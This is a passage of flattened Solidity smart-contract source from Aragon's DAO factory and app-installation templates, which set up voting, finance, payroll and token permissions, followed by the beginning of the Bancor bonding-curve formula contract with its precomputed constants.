initPayload = abi.encodeWithSelector(reg.initialize.selector); reg = EVMScriptRegistry(_dao.newPinnedAppInstance(EVMSCRIPT_REGISTRY_APP_ID, baseReg, initPayload, true)); ACL acl = ACL(_dao.acl()); acl.createPermission(this, reg, reg.REGISTRY_ADD_EXECUTOR_ROLE(), this); reg.addScriptExecutor(baseCallScript); // spec 1 = CallsScript // Clean up the permissions acl.revokePermission(this, reg, reg.REGISTRY_ADD_EXECUTOR_ROLE()); acl.removePermissionManager(reg, reg.REGISTRY_ADD_EXECUTOR_ROLE()); return reg; } } // File: @aragon/os/contracts/factory/DAOFactory.sol pragma solidity 0.4.24; contract DAOFactory { IKernel public baseKernel; IACL public baseACL; EVMScriptRegistryFactory public regFactory; event DeployDAO(address dao); event DeployEVMScriptRegistry(address reg); /** * @notice Create a new DAOFactory, creating DAOs with Kernels proxied to `_baseKernel`, ACLs proxied to `_baseACL`, and new EVMScriptRegistries created from `_regFactory`. * @param _baseKernel Base Kernel * @param _baseACL Base ACL * @param _regFactory EVMScriptRegistry factory */ constructor(IKernel _baseKernel, IACL _baseACL, EVMScriptRegistryFactory _regFactory) public { // No need to init as it cannot be killed by devops199 if (address(_regFactory) != address(0)) { regFactory = _regFactory; } baseKernel = _baseKernel; baseACL = _baseACL; } /** * @notice Create a new DAO with `_root` set as the initial admin * @param _root Address that will be granted control to setup DAO permissions * @return Newly created DAO */ function newDAO(address _root) public returns (Kernel) { Kernel dao = Kernel(new KernelProxy(baseKernel)); if (address(regFactory) == address(0)) { dao.initialize(baseACL, _root); } else { dao.initialize(baseACL, this); ACL acl = ACL(dao.acl()); bytes32 permRole = acl.CREATE_PERMISSIONS_ROLE(); bytes32 appManagerRole = dao.APP_MANAGER_ROLE(); acl.grantPermission(regFactory, acl, permRole); acl.createPermission(regFactory, dao, appManagerRole, this); EVMScriptRegistry reg = regFactory.newEVMScriptRegistry(dao); emit DeployEVMScriptRegistry(address(reg)); // Clean up permissions // First, completely reset the APP_MANAGER_ROLE acl.revokePermission(regFactory, dao, appManagerRole); acl.removePermissionManager(dao, appManagerRole); // Then, make root the only holder and manager of CREATE_PERMISSIONS_ROLE acl.revokePermission(regFactory, acl, permRole); acl.revokePermission(this, acl, permRole); acl.grantPermission(_root, acl, permRole); acl.setPermissionManager(_root, acl, permRole); } emit DeployDAO(address(dao)); return dao; } } // File: @aragon/id/contracts/ens/IPublicResolver.sol pragma solidity ^0.4.0; interface IPublicResolver { function supportsInterface(bytes4 interfaceID) constant returns (bool); function addr(bytes32 node) constant returns (address ret); function setAddr(bytes32 node, address addr); function hash(bytes32 node) constant returns (bytes32 ret); function setHash(bytes32 node, bytes32 hash); } // File: @aragon/id/contracts/IFIFSResolvingRegistrar.sol pragma solidity 0.4.24; interface IFIFSResolvingRegistrar { function register(bytes32 _subnode, address _owner) external; function registerWithResolver(bytes32 _subnode, address _owner, IPublicResolver _resolver) public; } // File: @aragon/templates-shared/contracts/BaseTemplate.sol pragma solidity 0.4.24; contract BaseTemplate is APMNamehash, IsContract { using Uint256Helpers for uint256; /* Hardcoded constant to save gas * bytes32 constant internal AGENT_APP_ID = apmNamehash("agent"); // agent.aragonpm.eth * bytes32 constant internal VAULT_APP_ID = apmNamehash("vault"); // vault.aragonpm.eth * bytes32 constant internal VOTING_APP_ID = apmNamehash("voting"); // voting.aragonpm.eth * bytes32 constant internal SURVEY_APP_ID = apmNamehash("survey"); // survey.aragonpm.eth * bytes32 constant internal PAYROLL_APP_ID = apmNamehash("payroll"); // payroll.aragonpm.eth * bytes32 constant internal FINANCE_APP_ID = apmNamehash("finance"); // finance.aragonpm.eth * bytes32 constant internal TOKEN_MANAGER_APP_ID = apmNamehash("token-manager"); // token-manager.aragonpm.eth */ bytes32 constant internal AGENT_APP_ID = 0x9ac98dc5f995bf0211ed589ef022719d1487e5cb2bab505676f0d084c07cf89a; bytes32 constant internal VAULT_APP_ID = 0x7e852e0fcfce6551c13800f1e7476f982525c2b5277ba14b24339c68416336d1; bytes32 constant internal VOTING_APP_ID = 0x9fa3927f639745e587912d4b0fea7ef9013bf93fb907d29faeab57417ba6e1d4; bytes32 constant internal PAYROLL_APP_ID = 0x463f596a96d808cb28b5d080181e4a398bc793df2c222f6445189eb801001991; bytes32 constant internal FINANCE_APP_ID = 0xbf8491150dafc5dcaee5b861414dca922de09ccffa344964ae167212e8c673ae; bytes32 constant internal TOKEN_MANAGER_APP_ID = 0x6b20a3010614eeebf2138ccec99f028a61c811b3b1a3343b6ff635985c75c91f; bytes32 constant internal SURVEY_APP_ID = 0x030b2ab880b88e228f2da5a3d19a2a31bc10dbf91fb1143776a6de489389471e; string constant private ERROR_ENS_NOT_CONTRACT = "TEMPLATE_ENS_NOT_CONTRACT"; string constant private ERROR_DAO_FACTORY_NOT_CONTRACT = "TEMPLATE_DAO_FAC_NOT_CONTRACT"; string constant private ERROR_ARAGON_ID_NOT_PROVIDED = "TEMPLATE_ARAGON_ID_NOT_PROVIDED"; string constant private ERROR_ARAGON_ID_NOT_CONTRACT = "TEMPLATE_ARAGON_ID_NOT_CONTRACT"; string constant private ERROR_MINIME_FACTORY_NOT_PROVIDED = "TEMPLATE_MINIME_FAC_NOT_PROVIDED"; string constant private ERROR_MINIME_FACTORY_NOT_CONTRACT = "TEMPLATE_MINIME_FAC_NOT_CONTRACT"; string constant private ERROR_CANNOT_CAST_VALUE_TO_ADDRESS = "TEMPLATE_CANNOT_CAST_VALUE_TO_ADDRESS"; string constant private ERROR_INVALID_ID = "TEMPLATE_INVALID_ID"; ENS internal ens; DAOFactory internal daoFactory; MiniMeTokenFactory internal miniMeFactory; IFIFSResolvingRegistrar internal aragonID; event DeployDao(address dao); event SetupDao(address dao); event DeployToken(address token); event InstalledApp(address appProxy, bytes32 appId); constructor(DAOFactory _daoFactory, ENS _ens, MiniMeTokenFactory _miniMeFactory, IFIFSResolvingRegistrar _aragonID) public { require(isContract(address(_ens)), ERROR_ENS_NOT_CONTRACT); require(isContract(address(_daoFactory)), ERROR_DAO_FACTORY_NOT_CONTRACT); ens = _ens; aragonID = _aragonID; daoFactory = _daoFactory; miniMeFactory = _miniMeFactory; } /** * @dev Create a DAO using the DAO Factory and grant the template root permissions so it has full * control during setup. Once the DAO setup has finished, it is recommended to call the * `_transferRootPermissionsFromTemplateAndFinalizeDAO()` helper to transfer the root * permissions to the end entity in control of the organization. */ function _createDAO() internal returns (Kernel dao, ACL acl) { dao = daoFactory.newDAO(this); emit DeployDao(address(dao)); acl = ACL(dao.acl()); _createPermissionForTemplate(acl, dao, dao.APP_MANAGER_ROLE()); } /* ACL */ function _createPermissions(ACL _acl, address[] memory _grantees, address _app, bytes32 _permission, address _manager) internal { _acl.createPermission(_grantees[0], _app, _permission, address(this)); for (uint256 i = 1; i < _grantees.length; i++) { _acl.grantPermission(_grantees[i], _app, _permission); } _acl.revokePermission(address(this), _app, _permission); _acl.setPermissionManager(_manager, _app, _permission); } function _createPermissionForTemplate(ACL _acl, address _app, bytes32 _permission) internal { _acl.createPermission(address(this), _app, _permission, address(this)); } function _removePermissionFromTemplate(ACL _acl, address _app, bytes32 _permission) internal { _acl.revokePermission(address(this), _app, _permission); _acl.removePermissionManager(_app, _permission); } function _transferRootPermissionsFromTemplateAndFinalizeDAO(Kernel _dao, address _to) internal { _transferRootPermissionsFromTemplateAndFinalizeDAO(_dao, _to, _to); } function _transferRootPermissionsFromTemplateAndFinalizeDAO(Kernel _dao, address _to, address _manager) internal { ACL _acl = ACL(_dao.acl()); _transferPermissionFromTemplate(_acl, _dao, _to, _dao.APP_MANAGER_ROLE(), _manager); _transferPermissionFromTemplate(_acl, _acl, _to, _acl.CREATE_PERMISSIONS_ROLE(), _manager); emit SetupDao(_dao); } function _transferPermissionFromTemplate(ACL _acl, address _app, address _to, bytes32 _permission, address _manager) internal { _acl.grantPermission(_to, _app, _permission); _acl.revokePermission(address(this), _app, _permission); _acl.setPermissionManager(_manager, _app, _permission); } /* AGENT */ function _installDefaultAgentApp(Kernel _dao) internal returns (Agent) { bytes memory initializeData = abi.encodeWithSelector(Agent(0).initialize.selector); Agent agent = Agent(_installDefaultApp(_dao, AGENT_APP_ID, initializeData)); // We assume that installing the Agent app as a default app means the DAO should have its // Vault replaced by the Agent. Thus, we also set the DAO's recovery app to the Agent. _dao.setRecoveryVaultAppId(AGENT_APP_ID); return agent; } function _installNonDefaultAgentApp(Kernel _dao) internal returns (Agent) { bytes memory initializeData = abi.encodeWithSelector(Agent(0).initialize.selector); return Agent(_installNonDefaultApp(_dao, AGENT_APP_ID, initializeData)); } function _createAgentPermissions(ACL _acl, Agent _agent, address _grantee, address _manager) internal { _acl.createPermission(_grantee, _agent, _agent.EXECUTE_ROLE(), _manager); _acl.createPermission(_grantee, _agent, _agent.RUN_SCRIPT_ROLE(), _manager); } /* VAULT */ function _installVaultApp(Kernel _dao) internal returns (Vault) { bytes memory initializeData = abi.encodeWithSelector(Vault(0).initialize.selector); return Vault(_installDefaultApp(_dao, VAULT_APP_ID, initializeData)); } function _createVaultPermissions(ACL _acl, Vault _vault, address _grantee, address _manager) internal { _acl.createPermission(_grantee, _vault, _vault.TRANSFER_ROLE(), _manager); } /* VOTING */ function _installVotingApp(Kernel _dao, MiniMeToken _token, uint64[3] memory _votingSettings) internal returns (Voting) { return _installVotingApp(_dao, _token, _votingSettings[0], _votingSettings[1], _votingSettings[2]); } function _installVotingApp( Kernel _dao, MiniMeToken _token, uint64 _support, uint64 _acceptance, uint64 _duration ) internal returns (Voting) { bytes memory initializeData = abi.encodeWithSelector(Voting(0).initialize.selector, _token, _support, _acceptance, _duration); return Voting(_installNonDefaultApp(_dao, VOTING_APP_ID, initializeData)); } function _createVotingPermissions( ACL _acl, Voting _voting, address _settingsGrantee, address _createVotesGrantee, address _manager ) internal { _acl.createPermission(_settingsGrantee, _voting, _voting.MODIFY_QUORUM_ROLE(), _manager); _acl.createPermission(_settingsGrantee, _voting, _voting.MODIFY_SUPPORT_ROLE(), _manager); _acl.createPermission(_createVotesGrantee, _voting, _voting.CREATE_VOTES_ROLE(), _manager); } /* SURVEY */ function _installSurveyApp(Kernel _dao, MiniMeToken _token, uint64 _minParticipationPct, uint64 _surveyTime) internal returns (Survey) { bytes memory initializeData = abi.encodeWithSelector(Survey(0).initialize.selector, _token, _minParticipationPct, _surveyTime); return Survey(_installNonDefaultApp(_dao, SURVEY_APP_ID, initializeData)); } function _createSurveyPermissions(ACL _acl, Survey _survey, address _grantee, address _manager) internal { _acl.createPermission(_grantee, _survey, _survey.CREATE_SURVEYS_ROLE(), _manager); _acl.createPermission(_grantee, _survey, _survey.MODIFY_PARTICIPATION_ROLE(), _manager); } /* PAYROLL */ function _installPayrollApp( Kernel _dao, Finance _finance, address _denominationToken, IFeed _priceFeed, uint64 _rateExpiryTime ) internal returns (Payroll) { bytes memory initializeData = abi.encodeWithSelector( Payroll(0).initialize.selector, _finance, _denominationToken, _priceFeed, _rateExpiryTime ); return Payroll(_installNonDefaultApp(_dao, PAYROLL_APP_ID, initializeData)); } /** * @dev Internal function to configure payroll permissions. Note that we allow defining different managers for * payroll since it may be useful to have one control the payroll settings (rate expiration, price feed, * and allowed tokens), and another one to control the employee functionality (bonuses, salaries, * reimbursements, employees, etc). * @param _acl ACL instance being configured * @param _acl Payroll app being configured * @param _employeeManager Address that will receive permissions to handle employee payroll functionality * @param _settingsManager Address that will receive permissions to manage payroll settings * @param _permissionsManager Address that will be the ACL manager for the payroll permissions */ function _createPayrollPermissions( ACL _acl, Payroll _payroll, address _employeeManager, address _settingsManager, address _permissionsManager ) internal { _acl.createPermission(_employeeManager, _payroll, _payroll.ADD_BONUS_ROLE(), _permissionsManager); _acl.createPermission(_employeeManager, _payroll, _payroll.ADD_EMPLOYEE_ROLE(), _permissionsManager); _acl.createPermission(_employeeManager, _payroll, _payroll.ADD_REIMBURSEMENT_ROLE(), _permissionsManager); _acl.createPermission(_employeeManager, _payroll, _payroll.TERMINATE_EMPLOYEE_ROLE(), _permissionsManager); _acl.createPermission(_employeeManager, _payroll, _payroll.SET_EMPLOYEE_SALARY_ROLE(), _permissionsManager); _acl.createPermission(_settingsManager, _payroll, _payroll.MODIFY_PRICE_FEED_ROLE(), _permissionsManager); _acl.createPermission(_settingsManager, _payroll, _payroll.MODIFY_RATE_EXPIRY_ROLE(), _permissionsManager); _acl.createPermission(_settingsManager, _payroll, _payroll.MANAGE_ALLOWED_TOKENS_ROLE(), _permissionsManager); } function _unwrapPayrollSettings( uint256[4] memory _payrollSettings ) internal pure returns (address denominationToken, IFeed priceFeed, uint64 rateExpiryTime, address employeeManager) { denominationToken = _toAddress(_payrollSettings[0]); priceFeed = IFeed(_toAddress(_payrollSettings[1])); rateExpiryTime = _payrollSettings[2].toUint64(); employeeManager = _toAddress(_payrollSettings[3]); } /* FINANCE */ function _installFinanceApp(Kernel _dao, Vault _vault, uint64 _periodDuration) internal returns (Finance) { bytes memory initializeData = abi.encodeWithSelector(Finance(0).initialize.selector, _vault, _periodDuration); return Finance(_installNonDefaultApp(_dao, FINANCE_APP_ID, initializeData)); } function _createFinancePermissions(ACL _acl, Finance _finance, address _grantee, address _manager) internal { _acl.createPermission(_grantee, _finance, _finance.EXECUTE_PAYMENTS_ROLE(), _manager); _acl.createPermission(_grantee, _finance, _finance.MANAGE_PAYMENTS_ROLE(), _manager); } function _createFinanceCreatePaymentsPermission(ACL _acl, Finance _finance, address _grantee, address _manager) internal { _acl.createPermission(_grantee, _finance, _finance.CREATE_PAYMENTS_ROLE(), _manager); } function _grantCreatePaymentPermission(ACL _acl, Finance _finance, address _to) internal { _acl.grantPermission(_to, _finance, _finance.CREATE_PAYMENTS_ROLE()); } function _transferCreatePaymentManagerFromTemplate(ACL _acl, Finance _finance, address _manager) internal { _acl.setPermissionManager(_manager, _finance, _finance.CREATE_PAYMENTS_ROLE()); } /* TOKEN MANAGER */ function _installTokenManagerApp( Kernel _dao, MiniMeToken _token, bool _transferable, uint256 _maxAccountTokens ) internal returns (TokenManager) { TokenManager tokenManager = TokenManager(_installNonDefaultApp(_dao, TOKEN_MANAGER_APP_ID)); _token.changeController(tokenManager); tokenManager.initialize(_token, _transferable, _maxAccountTokens); return tokenManager; } function _createTokenManagerPermissions(ACL _acl, TokenManager _tokenManager, address _grantee, address _manager) internal { _acl.createPermission(_grantee, _tokenManager, _tokenManager.MINT_ROLE(), _manager); _acl.createPermission(_grantee, _tokenManager, _tokenManager.BURN_ROLE(), _manager); } function _mintTokens(ACL _acl, TokenManager _tokenManager, address[] memory _holders, uint256[] memory _stakes) internal { _createPermissionForTemplate(_acl, _tokenManager, _tokenManager.MINT_ROLE()); for (uint256 i = 0; i < _holders.length; i++) { _tokenManager.mint(_holders[i], _stakes[i]); } _removePermissionFromTemplate(_acl, _tokenManager, _tokenManager.MINT_ROLE()); } function _mintTokens(ACL _acl, TokenManager _tokenManager, address[] memory _holders, uint256 _stake) internal { _createPermissionForTemplate(_acl, _tokenManager, _tokenManager.MINT_ROLE()); for (uint256 i = 0; i < _holders.length; i++) { _tokenManager.mint(_holders[i], _stake); } _removePermissionFromTemplate(_acl, _tokenManager, _tokenManager.MINT_ROLE()); } function _mintTokens(ACL _acl, TokenManager _tokenManager, address _holder, uint256 _stake) internal { _createPermissionForTemplate(_acl, _tokenManager, _tokenManager.MINT_ROLE()); _tokenManager.mint(_holder, _stake); _removePermissionFromTemplate(_acl, _tokenManager, _tokenManager.MINT_ROLE()); } /* EVM SCRIPTS */ function _createEvmScriptsRegistryPermissions(ACL _acl, address _grantee, address _manager) internal { EVMScriptRegistry registry = EVMScriptRegistry(_acl.getEVMScriptRegistry()); _acl.createPermission(_grantee, registry, registry.REGISTRY_MANAGER_ROLE(), _manager); _acl.createPermission(_grantee, registry, registry.REGISTRY_ADD_EXECUTOR_ROLE(), _manager); } /* APPS */ function _installNonDefaultApp(Kernel _dao, bytes32 _appId) internal returns (address) { return _installNonDefaultApp(_dao, _appId, new bytes(0)); } function _installNonDefaultApp(Kernel _dao, bytes32 _appId, bytes memory _initializeData) internal returns (address) { return _installApp(_dao, _appId, _initializeData, false); } function _installDefaultApp(Kernel _dao, bytes32 _appId) internal returns (address) { return _installDefaultApp(_dao, _appId, new bytes(0)); } function _installDefaultApp(Kernel _dao, bytes32 _appId, bytes memory _initializeData) internal returns (address) { return _installApp(_dao, _appId, _initializeData, true); } function _installApp(Kernel _dao, bytes32 _appId, bytes memory _initializeData, bool _setDefault) internal returns (address) { address latestBaseAppAddress = _latestVersionAppBase(_appId); address instance = address(_dao.newAppInstance(_appId, latestBaseAppAddress, _initializeData, _setDefault)); emit InstalledApp(instance, _appId); return instance; } function _latestVersionAppBase(bytes32 _appId) internal view returns (address base) { Repo repo = Repo(PublicResolver(ens.resolver(_appId)).addr(_appId)); (,base,) = repo.getLatest(); } /* TOKEN */ function _createToken(string memory _name, string memory _symbol, uint8 _decimals) internal returns (MiniMeToken) { require(address(miniMeFactory) != address(0), ERROR_MINIME_FACTORY_NOT_PROVIDED); MiniMeToken token = miniMeFactory.createCloneToken(MiniMeToken(address(0)), 0, _name, _decimals, _symbol, true); emit DeployToken(address(token)); return token; } function _ensureMiniMeFactoryIsValid(address _miniMeFactory) internal view { require(isContract(address(_miniMeFactory)), ERROR_MINIME_FACTORY_NOT_CONTRACT); } /* IDS */ function _validateId(string memory _id) internal pure { require(bytes(_id).length > 0, ERROR_INVALID_ID); } function _registerID(string memory _name, address _owner) internal { require(address(aragonID) != address(0), ERROR_ARAGON_ID_NOT_PROVIDED); aragonID.register(keccak256(abi.encodePacked(_name)), _owner); } function _ensureAragonIdIsValid(address _aragonID) internal view { require(isContract(address(_aragonID)), ERROR_ARAGON_ID_NOT_CONTRACT); } /* HELPERS */ function _toAddress(uint256 _value) private pure returns (address) { require(_value <= uint160(-1), ERROR_CANNOT_CAST_VALUE_TO_ADDRESS); return address(_value); } } // File: @ablack/fundraising-bancor-formula/contracts/interfaces/IBancorFormula.sol pragma solidity 0.4.24; /* Bancor Formula interface */ contract IBancorFormula { function calculatePurchaseReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _depositAmount) public view returns (uint256); function calculateSaleReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _sellAmount) public view returns (uint256); function calculateCrossConnectorReturn(uint256 _fromConnectorBalance, uint32 _fromConnectorWeight, uint256 _toConnectorBalance, uint32 _toConnectorWeight, uint256 _amount) public view returns (uint256); } // File: @ablack/fundraising-bancor-formula/contracts/utility/Utils.sol pragma solidity 0.4.24; /* Utilities & Common Modifiers */ contract Utils { /** constructor */ constructor() public { } // verifies that an amount is greater than zero modifier greaterThanZero(uint256 _amount) { require(_amount > 0); _; } // validates an address - currently only checks that it isn't null modifier validAddress(address _address) { require(_address != address(0)); _; } // verifies that the address is different than this contract address modifier notThis(address _address) { require(_address != address(this)); _; } } // File: @ablack/fundraising-bancor-formula/contracts/BancorFormula.sol pragma solidity 0.4.24; contract BancorFormula is IBancorFormula, Utils { using SafeMath for uint256; string public version = '0.3'; uint256 private constant ONE = 1; uint32 private constant MAX_WEIGHT = 1000000; uint8 private constant MIN_PRECISION = 32; uint8 private constant MAX_PRECISION = 127; /** Auto-generated via 'PrintIntScalingFactors.py' */ uint256 private constant FIXED_1 = 0x080000000000000000000000000000000; uint256 private constant FIXED_2 = 0x100000000000000000000000000000000; uint256 private constant MAX_NUM = 0x200000000000000000000000000000000; /** Auto-generated via 'PrintLn2ScalingFactors.py' */ uint256 private constant LN2_NUMERATOR = 0x3f80fe03f80fe03f80fe03f80fe03f8; uint256 private constant LN2_DENOMINATOR = 0x5b9de1d10bf4103d647b0955897ba80; /** Auto-generated via 'PrintFunctionOptimalLog.py' and 'PrintFunctionOptimalExp.py' */ uint256 private constant OPT_LOG_MAX_VAL = 0x15bf0a8b1457695355fb8ac404e7a79e3; uint256 private constant OPT_EXP_MAX_VAL = 0x800000000000000000000000000000000; /** Auto-generated via 'PrintFunctionConstructor.py' */ uint256[128] private maxExpArray; constructor() public { // maxExpArray[ 0] = 0x6bffffffffffffffffffffffffffffffff; // maxExpArray[ 1] = 0x67ffffffffffffffffffffffffffffffff; // maxExpArray[ 2] = 0x637fffffffffffffffffffffffffffffff; // maxExpArray[ 3] = 0x5f6fffffffffffffffffffffffffffffff; // maxExpArray[ 4] = 0x5b77ffffffffffffffffffffffffffffff; // maxExpArray[ 5] = 0x57b3ffffffffffffffffffffffffffffff; // maxExpArray[ 6] = 0x5419ffffffffffffffffffffffffffffff; // maxExpArray[ 7] = 0x50a2ffffffffffffffffffffffffffffff; // maxExpArray[ 8] = 0x4d517fffffffffffffffffffffffffffff; // maxExpArray[ 9] = 0x4a233fffffffffffffffffffffffffffff; // maxExpArray[ 10] = 0x47165fffffffffffffffffffffffffffff; // maxExpArray[ 11] = 0x4429afffffffffffffffffffffffffffff; // maxExpArray[ 12] = 0x415bc7ffffffffffffffffffffffffffff; // maxExpArray[ 13] = 0x3eab73ffffffffffffffffffffffffffff; // maxExpArray[ 14] = 0x3c1771ffffffffffffffffffffffffffff; // maxExpArray[ 15] = 0x399e96ffffffffffffffffffffffffffff; // maxExpArray[ 16] = 0x373fc47fffffffffffffffffffffffffff; // maxExpArray[ 17] = 0x34f9e8ffffffffffffffffffffffffffff; // maxExpArray[ 18] = 0x32cbfd5fffffffffffffffffffffffffff; // maxExpArray[ 19] = 0x30b5057fffffffffffffffffffffffffff; // maxExpArray[ 20] = 0x2eb40f9fffffffffffffffffffffffffff; // maxExpArray[ 21] = 0x2cc8340fffffffffffffffffffffffffff; // maxExpArray[ 22] = 0x2af09481ffffffffffffffffffffffffff; // maxExpArray[ 23] = 0x292c5bddffffffffffffffffffffffffff; // maxExpArray[ 24] = 0x277abdcdffffffffffffffffffffffffff; // maxExpArray[ 25] = 0x25daf6657fffffffffffffffffffffffff; // maxExpArray[ 26] = 0x244c49c65fffffffffffffffffffffffff; // maxExpArray[ 27] = 0x22ce03cd5fffffffffffffffffffffffff; // maxExpArray[ 28] = 0x215f77c047ffffffffffffffffffffffff; // maxExpArray[ 29] = 0x1fffffffffffffffffffffffffffffffff; // maxExpArray[ 30] = 0x1eaefdbdabffffffffffffffffffffffff; // maxExpArray[ 31] = 0x1d6bd8b2ebffffffffffffffffffffffff; maxExpArray[ 32] = 0x1c35fedd14ffffffffffffffffffffffff; maxExpArray[ 33] = 0x1b0ce43b323fffffffffffffffffffffff; maxExpArray[ 34] = 0x19f0028ec1ffffffffffffffffffffffff; maxExpArray[ 35] = 0x18ded91f0e7fffffffffffffffffffffff; maxExpArray[ 36] = 0x17d8ec7f0417ffffffffffffffffffffff; maxExpArray[ 37] = 0x16ddc6556cdbffffffffffffffffffffff; maxExpArray[ 38] = 0x15ecf52776a1ffffffffffffffffffffff; maxExpArray[ 39] = 0x15060c256cb2ffffffffffffffffffffff; maxExpArray[ 40] = 0x1428a2f98d72ffffffffffffffffffffff; maxExpArray[ 41] = 0x13545598e5c23fffffffffffffffffffff; maxExpArray[ 42] = 0x1288c4161ce1dfffffffffffffffffffff; maxExpArray[ 43] = 0x11c592761c666fffffffffffffffffffff; maxExpArray[ 44] = 0x110a688680a757ffffffffffffffffffff; maxExpArray[ 45] = 0x1056f1b5bedf77ffffffffffffffffffff; maxExpArray[ 46] = 0x0faadceceeff8bffffffffffffffffffff; maxExpArray[ 47] = 0x0f05dc6b27edadffffffffffffffffffff; maxExpArray[ 48] = 0x0e67a5a25da4107fffffffffffffffffff; maxExpArray[ 49] = 0x0dcff115b14eedffffffffffffffffffff; maxExpArray[ 50] = 0x0d3e7a392431239fffffffffffffffffff; maxExpArray[ 51] = 0x0cb2ff529eb71e4fffffffffffffffffff; maxExpArray[ 52] = 0x0c2d415c3db974afffffffffffffffffff; maxExpArray[ 53] = 0x0bad03e7d883f69bffffffffffffffffff; maxExpArray[ 54] = 0x0b320d03b2c343d5ffffffffffffffffff; maxExpArray[ 55] = 0x0abc25204e02828dffffffffffffffffff; maxExpArray[ 56] = 0x0a4b16f74ee4bb207fffffffffffffffff; maxExpArray[ 57] = 0x09deaf736ac1f569ffffffffffffffffff; maxExpArray[ 58] = 0x0976bd9952c7aa957fffffffffffffffff; maxExpArray[ 59] = 0x09131271922eaa606fffffffffffffffff; maxExpArray[ 60] = 0x08b380f3558668c46fffffffffffffffff; maxExpArray[ 61] = 0x0857ddf0117efa215bffffffffffffffff; maxExpArray[ 62] = 0x07ffffffffffffffffffffffffffffffff; maxExpArray[ 63] = 0x07abbf6f6abb9d087fffffffffffffffff; maxExpArray[ 64] = 0x075af62cbac95f7dfa7fffffffffffffff; maxExpArray[ 65] = 0x070d7fb7452e187ac13fffffffffffffff; maxExpArray[ 66] = 0x06c3390ecc8af379295fffffffffffffff; maxExpArray[ 67] = 0x067c00a3b07ffc01fd6fffffffffffffff; maxExpArray[ 68] = 0x0637b647c39cbb9d3d27ffffffffffffff; maxExpArray[ 69] = 0x05f63b1fc104dbd39587ffffffffffffff; maxExpArray[ 70] = 0x05b771955b36e12f7235ffffffffffffff; maxExpArray[ 71] = 0x057b3d49dda84556d6f6ffffffffffffff; maxExpArray[ 72] = 0x054183095b2c8ececf30ffffffffffffff; maxExpArray[ 73] = 0x050a28be635ca2b888f77fffffffffffff; maxExpArray[ 74] = 0x04d5156639708c9db33c3fffffffffffff; maxExpArray[ 75] = 0x04a23105873875bd52dfdfffffffffffff; maxExpArray[ 76] = 0x0471649d87199aa990756fffffffffffff; maxExpArray[ 77] = 0x04429a21a029d4c1457cfbffffffffffff; maxExpArray[ 78] = 0x0415bc6d6fb7dd71af2cb3ffffffffffff; maxExpArray[ 79] = 0x03eab73b3bbfe282243ce1ffffffffffff; maxExpArray[ 80] = 0x03c1771ac9fb6b4c18e229ffffffffffff; maxExpArray[ 81] = 0x0399e96897690418f785257fffffffffff; maxExpArray[ 82] = 0x0373fc456c53bb779bf0ea9fffffffffff; maxExpArray[ 83] = 0x034f9e8e490c48e67e6ab8bfffffffffff; maxExpArray[ 84] = 0x032cbfd4a7adc790560b3337ffffffffff; maxExpArray[ 85] = 0x030b50570f6e5d2acca94613ffffffffff; maxExpArray[ 86] = 0x02eb40f9f620fda6b56c2861ffffffffff; maxExpArray[ 87] = 0x02cc8340ecb0d0f520a6af58ffffffffff; maxExpArray[ 88] = 0x02af09481380a0a35cf1ba02ffffffffff; maxExpArray[ 89] = 0x0292c5bdd3b92ec810287b1b3fffffffff; maxExpArray[ 90] = 0x0277abdcdab07d5a77ac6d6b9fffffffff; maxExpArray[ 91] = 0x025daf6654b1eaa55fd64df5efffffffff; maxExpArray[ 92] = 0x0244c49c648baa98192dce88b7ffffffff; maxExpArray[ 93] = 0x022ce03cd5619a311b2471268bffffffff; maxExpArray[ 94] = 0x0215f77c045fbe885654a44a0fffffffff; maxExpArray[ 95] = 0x01ffffffffffffffffffffffffffffffff; maxExpArray[ 96] = 0x01eaefdbdaaee7421fc4d3ede5ffffffff; maxExpArray[ 97] = 0x01d6bd8b2eb257df7e8ca57b09bfffffff; maxExpArray[ 98] = 0x01c35fedd14b861eb0443f7f133fffffff; maxExpArray[ 99] = 0x01b0ce43b322bcde4a56e8ada5afffffff; maxExpArray[100] = 0x019f0028ec1fff007f5a195a39dfffffff; maxExpArray[101] = 0x018ded91f0e72ee74f49b15ba527ffffff; maxExpArray[102] = 0x017d8ec7f04136f4e5615fd41a63ffffff; maxExpArray[103] = 0x016ddc6556cdb84bdc8d12d22e6fffffff; maxExpArray[104] = 0x015ecf52776a1155b5bd8395814f7fffff; maxExpArray[105] = 0x015060c256cb23b3b3cc3754cf40ffffff; maxExpArray[106] = 0x01428a2f98d728ae223ddab715be3fffff; maxExpArray[107] = 0x013545598e5c23276ccf0ede68034fffff; maxExpArray[108] = 0x01288c4161ce1d6f54b7f61081194fffff; maxExpArray[109] = 0x011c592761c666aa641d5a01a40f17ffff; maxExpArray[110] = 0x0110a688680a7530515f3e6e6cfdcdffff; maxExpArray[111] = 0x01056f1b5bedf75c6bcb2ce8aed428ffff; maxExpArray[112] = 0x00faadceceeff8a0890f3875f008277fff; maxExpArray[113] = 0x00f05dc6b27edad306388a600f6ba0bfff; maxExpArray[114] = 0x00e67a5a25da41063de1495d5b18cdbfff; maxExpArray[115] = 0x00dcff115b14eedde6fc3aa5353f2e4fff; maxExpArray[116] = 0x00d3e7a3924312399f9aae2e0f868f8fff; maxExpArray[117] = 0x00cb2ff529eb71e41582cccd5a1ee26fff; maxExpArray[118] = 0x00c2d415c3db974ab32a51840c0b67edff; maxExpArray[119] = 0x00bad03e7d883f69ad5b0a186184e06bff; maxExpArray[120] = 0x00b320d03b2c343d4829abd6075f0cc5ff; maxExpArray[121] = 0x00abc25204e02828d73c6e80bcdb1a95bf; maxExpArray[122] = 0x00a4b16f74ee4bb2040a1ec6c15fbbf2df; maxExpArray[123] = 0x009deaf736ac1f569deb1b5ae3f36c130f; maxExpArray[124] = 0x00976bd9952c7aa957f5937d790ef65037; maxExpArray[125] = 0x009131271922eaa6064b73a22d0bd4f2bf; maxExpArray[126] = 0x008b380f3558668c46c91c49a2f8e967b9; maxExpArray[127] = 0x00857ddf0117efa215952912839f6473e6; } /** @dev given a token supply, connector balance, weight and a deposit amount (in the connector token), calculates the return for a given conversion (in the main token) Formula: Return = _supply * ((1 + _depositAmount / _connectorBalance) ^ (_connectorWeight / 1000000) - 1) @param _supply token total supply @param _connectorBalance total connector balance @param _connectorWeight connector weight, represented in ppm, 1-1000000 @param _depositAmount deposit amount, in connector token @return purchase return amount */ function calculatePurchaseReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _depositAmount) public view returns (uint256) { // validate input require(_supply > 0 && 